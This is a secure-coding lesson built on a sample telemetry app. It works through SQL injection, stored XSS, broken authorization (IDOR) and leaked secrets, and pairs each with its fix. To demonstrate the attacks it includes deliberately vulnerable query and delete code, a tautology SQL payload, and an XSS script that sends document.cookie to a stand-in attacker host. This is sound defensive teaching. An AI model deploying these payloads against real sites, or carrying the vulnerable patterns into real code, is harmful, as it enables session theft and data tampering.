Security Is a Design Property
Injection, XSS, broken authz, and leaked secrets — thinking like an attacker, because someone already is.
🎯 By the end you'll understand
How to threat-model a small system like TraceLab, execute the four biggest OWASP classes of attack against a deliberately vulnerable endpoint, and then enable defenses one at a time until each attack fails. You will understand why parameterized queries eliminate injection (not escape it), why output encoding kills XSS, why authorization must be checked server-side on every request, and why a secret in git is a permanent breach. Security is an architectural property built in at design time — not a checklist bolted on at the end.
KEY INSIGHTA defense you've never seen defeated is a superstition
Every defense you implement without first executing the attack is cargo-cult security: a ritual you believe in because nobody has told you it doesn't work yet.
Here is the uncomfortable fact about the TraceLab ingest endpoint you built in Stage 3: an attacker who can spoof or tamper with telemetry can hide a robot failure. They do not need to own the database or breach the API key — they just need to inject a row that says the robot is fine. The attack surface is your data. Stage 3 gave you a working system; this lesson gives you the adversarial mental model required to keep it trustworthy.
Security decisions made at architecture time — how data enters the system, who can request what, where credentials live — are the ones that actually hold. Decisions made at audit time, after architecture is locked, are duct tape. The OWASP Top Ten has been roughly stable since 2003 because the root causes (untrusted input mixed with trusted context, broken access control, exposed credentials) are structural. You fix them by designing trust boundaries into the architecture, not by adding a validation library on top of a broken one.
CORE CONCEPTThreat modeling TraceLab in four questions
Threat modeling does not require a formal methodology. The four questions below (from Adam Shostack's work) give you 80% of the value in 20% of the time, applied here to TraceLab's current architecture (HTTP ingest, SQLite store, web dashboard):
What are we building?
A self-hosted telemetry store. Robots push JSON to POST /ingest. The dashboard queries SQLite and renders run data in the browser. An admin API allows deleting runs. The threat model boundary is: anything outside this process is untrusted, including robots (they can be compromised or spoofed).
What can go wrong?
A spoofed robot injects a row with a fabricated run_id and falsified metrics — a robot failure looks like success. A stolen API token grants full write access. A crafted run_id exfiltrates another team's runs (IDOR). A lab-mate visits the dashboard and a stored XSS payload fires and steals their session. A developer commits .env and the secret is in git history forever.
What do we do about it?
Parameterize all queries, escape all output, verify authorization on every request, keep secrets out of source code, treat every inbound value as attacker-controlled. The rest of this lesson is the how — demonstrated by executing each attack before enabling each defense.
Did we do a good enough job?
Good enough means: the remaining risk is accepted, not overlooked. TraceLab is a self-hosted research tool, not a bank. The threat model should calibrate defenses to the actual attacker population — a lab-network adversary, not a nation-state. Over-engineering auth for a single-user deployment burns time that belongs to science.
HOW IT WORKSSQL injection: untrusted input mixed with trusted SQL context
The root cause of SQL injection has never changed: the application mixes attacker-controlled data into a string that the database engine interprets as SQL. Here is the deliberately vulnerable TraceLab search endpoint:
# DO NOT SHIP — for teaching only def search_runs_unsafe(db, name): query = "SELECT * FROM runs WHERE name = '" + name + "'" return db.execute(query).fetchall()
An attacker submits name = "x' OR '1'='1". The constructed query becomes:
SELECT * FROM runs WHERE name = 'x' OR '1'='1'
The condition is always true. Every row in the table is returned. The fix is not escaping — escaping is a fragile allowlist that breaks on encoding edge cases. The fix is parameterized queries: the database driver sends the SQL structure and the data in separate wire messages. The engine can never confuse one for the other because they never meet as a string.
def search_runs(db, name): return db.execute("SELECT * FROM runs WHERE name = ?", (name,)).fetchall() # The ? is a placeholder. The driver sends query structure and # 'name' as separate messages. The engine can never parse 'name' as SQL.
SQLAlchemy's ORM generates parameterized queries by default. But the moment you call db.execute(text(f"... {user_input}")), you're back in the vulnerable lane. ORMs shift the blast radius — they don't eliminate it. The rule is always: data and code must travel separately to the engine.
HOW IT WORKSXSS: untrusted data mixed with trusted HTML context
Cross-Site Scripting is injection's browser cousin: attacker-controlled text is rendered as HTML or JavaScript instead of as plain text. TraceLab's dashboard fetches run names from the database and renders them. A stored XSS attack goes in via the ingest endpoint and fires in every viewer's browser.
# autoescape disabled (the default in older Flask setups) # Jinja2 template <td>{{ run.name }}</td> {# renders raw HTML #}
An attacker submits a run named <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. When your lab-mate visits the dashboard, that script executes in their browser under your app's origin — it can read cookies, make authenticated requests, exfiltrate data. Stored XSS is the most dangerous class because the payload fires for every user who views the page, not just the attacker.
The fix is output encoding: every dynamic value inserted into an HTML context must have <, >, &, ", and ' converted to their HTML entity equivalents. The browser then renders them as literal characters, not markup. Jinja2 with autoescape=True does this automatically — which is why Jinja2's Flask integration enables it by default for .html templates.
# autoescape=True (Flask default for .html templates) <td>{{ run.name }}</td> {# encodes < > & " ' automatically #} # Renders: <script>... — a literal string, not executable HTML
A Content Security Policy header (Content-Security-Policy: default-src 'self') blocks inline scripts even if an XSS payload is injected — a real defense in depth. But it's a browser-level mitigation that breaks on legacy browsers and is disabled by the attacker if they can inject a meta tag. Output encoding is the first line because it eliminates the payload at the source. Use both.
CORE CONCEPTBroken authorization: the actual OWASP #1
OWASP's 2021 list put Broken Access Control at #1, displacing injection after fifteen years at the top. The reason: it's almost impossible to detect automatically. Injection patterns are recognizable; missing authorization checks are invisible — the code simply lacks a line.
The classic form is an Insecure Direct Object Reference (IDOR): a user-supplied ID is used to fetch a resource without verifying the caller owns that resource.
def delete_run(db, run_id, caller_user_id): # no ownership check — any authenticated user deletes any run db.execute("DELETE FROM runs WHERE id = ?", (run_id,))
The attacker is a legitimate user. They call DELETE /runs/4729 — a run that belongs to a colleague — and it succeeds. The log shows an authenticated request. No alarm fires. The colleague's experiment data is gone.
def delete_run(db, run_id, caller_user_id): run = db.execute( "SELECT owner_id FROM runs WHERE id = ?", (run_id,) ).fetchone() if run is None: raise NotFound() if run["owner_id"] != caller_user_id: raise Forbidden() db.execute("DELETE FROM runs WHERE id = ?", (run_id,))
Authentication answers "who are you?" (API key, session token, password). Authorization answers "are you allowed to do this specific thing?" They are separate problems solved separately. OAuth2/OIDC handle the first; your application logic handles the second. Conflating them — "authenticated implies authorized" — is the root of every IDOR vulnerability.
The structural fix is deny-by-default authorization: every endpoint returns 403 Forbidden unless a positive grant is found, not the other way around. A missed grant blocks one user from one thing. A missed deny check is a universal key.
IN PRACTICESecrets hygiene: the breach that never expires
A secret committed to a git repository is permanently compromised. git log is not the whole story: forks, CI caches, vendor backups, and GitHub's code indexer all persist the commit. Rotating the secret is necessary but not sufficient — the window of exposure is the entire history since the commit, and you usually don't know when the secret was used.
An attacker social-engineered an Uber contractor via MFA fatigue, gained VPN access, then discovered credentials stored in a network share (a PAM vault), and used them to pivot to Uber's AWS, GCP, Slack, and HackerOne environments. Privileged credentials — wherever they are stored — are lateral-movement fuel.
The rules are short:
Secrets live in environment variables or a secrets manager
os.environ["TRACELAB_SECRET_KEY"] — not SECRET_KEY = "abc123" in config.py. For production, use a dedicated secrets manager (AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager). For local development, .env files loaded by python-dotenv are acceptable if .env is in .gitignore.
.gitignore is not sufficient — add pre-commit scanning
Tools like detect-secrets (Yelp, open-source) or gitleaks scan staged files before commit and block the push if they find high-entropy strings matching secret patterns. The hook runs in the developer's local checkout — it catches mistakes before they reach the remote.
Rotate immediately if a secret is ever committed
Assume it was read. Revoke the old credential before you push the fix. Do not squash the commit and assume nobody saw it — GitHub's code search indexed it within seconds of the push. The incident response is: revoke first, clean second, audit third.
SEE ITAttack/defense sandbox
Each panel below runs a deterministic simulation of a deliberately vulnerable TraceLab endpoint. Choose an attack, execute it against the undefended system, then enable defenses one at a time and re-execute. The narration explains the mechanism of each defense — not just "it works," but why it works.
Three observations after playing through all four attacks. First: SQL injection and XSS have the same root cause — data that should stay data is interpreted as code by the target context (SQL engine, HTML parser). The fix in both cases is structural separation of data from code, not sanitization of the data. Second: IDOR is invisible to automated scanners because the vulnerability is not a pattern in the code but an absence — a missing check. Third: a leaked secret is a permanent breach until rotated; the timeline for an attacker to use it is measured in minutes, not days.
IN PRACTICESecurity as economics, not perfection
Security cannot be achieved; it can only be made sufficiently expensive. The correct frame is economic: an attacker has a budget (time, money, skill, legal exposure). Your job is to raise the cost of each attack above the attacker's budget for your specific system.
This means calibrating defenses to the actual threat model:
| System | Realistic attacker | Appropriate bar |
|---|---|---|
| TraceLab, single-user local | none (localhost only) | secure defaults, no hardening needed |
| TraceLab, lab network | curious colleague, compromised robot | parameterized queries, output encoding, API key auth, no secrets in git |
| TraceLab, internet-exposed | automated scanners, script kiddies, competitors | above + HTTPS, rate limiting, CSP, audit logging, dependency scanning |
| SaaS with user data | targeted human attacker, nation-states for high-value targets | above + formal threat model, pen tests, SOC 2, isolated tenants, zero-trust |
Over-engineering security for a local research tool is a real cost: it burns development time, adds complexity that introduces new bugs, and makes the tool harder to use — which pushes researchers toward worse alternatives. The goal is to match defenses to the threat, not to achieve theoretical perfection.
If you do exactly five things, you eliminate the vast majority of real-world application attacks: parameterize all queries, enable template autoescaping, check authorization on every request, keep secrets in environment variables, and keep dependencies updated. None of these are heroic — they are defaults in well-designed frameworks. Security debt, like every other kind, accumulates from skipping the defaults.
TRACELABHardening TraceLab v3
The Stage 4 milestone calls for the system to be hardened against an injection attack. Here is the diff that upgrades TraceLab's ingest and search paths from the vulnerable v2 patterns to the hardened v3 patterns:
import os, sqlite3 from markupsafe import escape # output encoding for non-template paths # v2: built query string by concatenation # v3: parameterized — driver sends query and data separately def record_run(db: sqlite3.Connection, run_id: str, metrics: dict, owner_id: str): db.execute( "INSERT INTO runs (run_id, metrics_json, owner_id) VALUES (?, ?, ?)", (run_id, json.dumps(metrics), owner_id), ) def delete_run(db: sqlite3.Connection, run_id: str, caller_id: str): row = db.execute( "SELECT owner_id FROM runs WHERE run_id = ?", (run_id,) ).fetchone() if row is None: raise ValueError("run not found") if row["owner_id"] != caller_id: # authz check — deny by default raise PermissionError("not your run") db.execute("DELETE FROM runs WHERE run_id = ?", (run_id,))
{# autoescape=True is set on the Flask app (default for .html templates) #} <td>{{ run.run_id }}</td> {# encodes < > & — XSS payload becomes literal text #} <td>{{ run.metrics }}</td>
TRACELAB_SECRET_KEY=<generated-at-deploy-time> TRACELAB_DB_PATH=/data/tracelab.db
import os SECRET_KEY = os.environ["TRACELAB_SECRET_KEY"] # KeyError at startup if missing DB_PATH = os.environ.get("TRACELAB_DB_PATH", "tracelab.db") # explicit crash beats silent empty string — a misconfigured deploy fails loudly
The v3 hardening closes the Stage 4 milestone's security gate. The next lesson handles the final piece: the zero-downtime database migration that pays off the CSV schema debt introduced all the way back in TraceLab v0.
WEAKNESSWhere this bites
The instinct to "sanitize" input — strip angle brackets, reject suspicious characters — produces fragile, incomplete defenses. It breaks legitimate data (a robot named Arm <3>), fails on encoding mutations, and still misses injection into non-HTML contexts (SQL, shell commands, JSON). The correct model is: store data faithfully, encode it when rendering into a specific output context. Output encoding is context-specific (HTML, URL, SQL). Input sanitization is not a substitute.
"Only admins can call /admin/delete" is a necessary check, but not sufficient. A privilege escalation bug, a confused deputy, or a CSRF attack can reach that route as a legitimately authenticated user. Authorization must be re-checked at the data layer — "does this caller own this specific resource?" — because the route guard cannot know which resource IDs are in the request body until the request is already being processed. Defense in depth means both layers run independently.
Security debt compounds faster than technical debt because each new feature increases the attack surface. An injection vulnerability added in sprint 3 is still there in sprint 30, and it may now be reachable through three new code paths that did not exist at sprint 3. Building parameterization and output encoding in at design time costs one decision. Retrofitting it across a fifty-endpoint API costs a full sprint, a security audit, and a regression-test pass — for a problem that should have been structurally impossible.
KEY INSIGHTHow this connects
- AuthN and AuthZ (3.9) — authentication (who are you?) and authorization (what may you do?) are the prerequisite mental model for this lesson; IDOR and broken access control are what happens when the two are conflated or the authorization half is skipped.
- Modules & Boundaries (4.1) — trust boundaries follow the same logic as module boundaries: what knows about what. The authorization check lives at the boundary of the data layer, not dispersed across callers.
- Mathematics of Failure (4.6) — a security breach is a failure mode with its own availability and data-integrity consequences; the failure math from last lesson applies to breach impact just as it does to hardware faults.
- Migrations (4.8) — next lesson closes the Stage 4 milestone: the zero-downtime migration that retires TraceLab's CSV schema debt and formally completes v3.
Security as a design property means one thing operationally: every time you design a data flow, ask "what happens if the data is attacker-controlled?" The question is cheap at design time. It is very expensive after a breach.
GLOSSARYKey terms introduced
- SQL injection
- An attack where attacker-controlled data is mixed into a SQL string, causing the database engine to execute attacker-supplied SQL logic. Prevented by parameterized queries.
- XSS (Cross-Site Scripting)
- An attack where attacker-controlled text is rendered as HTML or JavaScript in a victim's browser. Prevented by output encoding — converting
<,>, and other special characters to their HTML entity equivalents. - IDOR (Insecure Direct Object Reference)
- A broken authorization pattern where a user-supplied ID is used to access a resource without verifying the caller's permission to access that specific resource.
- Parameterized query
- A database query where the SQL structure and the data values are sent to the engine in separate wire messages. The engine cannot confuse data for code because they are never combined into a string.
- Output encoding
- Converting special characters in untrusted data to safe representations for the target context (HTML entities, URL percent-encoding) before rendering, so the data cannot be interpreted as code.
- Threat model
- A structured enumeration of what could go wrong in a system, who might cause it, and what the defenses are — matched to the realistic attacker population, not worst-case nation-states.
- Deny-by-default authorization
- An authorization posture where access is forbidden unless a positive grant is explicitly found. A missed grant blocks one user; a missed deny check is a universal key.
ACTIVE RECALLCheck your understanding
Answer in your own words first, then reveal.
1Why doesn't escaping user input prevent SQL injection, and what does prevent it?›
Escaping tries to make dangerous characters safe by transforming them — but escape rules are encoding-dependent, database-dialect-dependent, and context-dependent. A transformation that works for one encoding fails for another. Parameterized queries eliminate the problem structurally: the SQL text and the data are sent to the engine in separate wire messages, so the engine never tries to parse the data as SQL. There is no surface to attack.
2What makes stored XSS more dangerous than reflected XSS?›
In reflected XSS the payload must be delivered to each victim individually (e.g., via a crafted link). In stored XSS the payload is written to the database and fires automatically for every user who views the affected page — the attacker injects once and the exploit runs at scale without further effort. A stored XSS in TraceLab's dashboard could exfiltrate every lab member's session the moment they next visit.
3OWASP placed Broken Access Control at #1 in 2021, displacing injection. Why is it harder to detect than injection?›
Injection vulnerabilities leave a pattern in the code — string concatenation into a query, or a raw interpolation into a template — that automated scanners can recognize. Broken access control is an absence: a check that should be present is simply missing. The code looks clean. No scanner can reliably identify "this function deletes a resource and should also verify ownership" by static analysis alone. Detection requires knowing the intended authorization policy and testing that each endpoint enforces it.
4Why is rotating a committed secret necessary but not sufficient?›
Rotating invalidates the old credential going forward. But the commit is already in git history — and possibly in forks, CI caches, GitHub's code index, and vendor backups. The attacker may have cloned the repo, seen the secret in a diff notification, or pulled it from a GitHub search seconds after the push. The correct response is: assume the secret was used, revoke immediately, rotate, then audit logs for evidence of misuse during the exposure window. The rotation is not a rollback of the breach; it is a closure of the open door.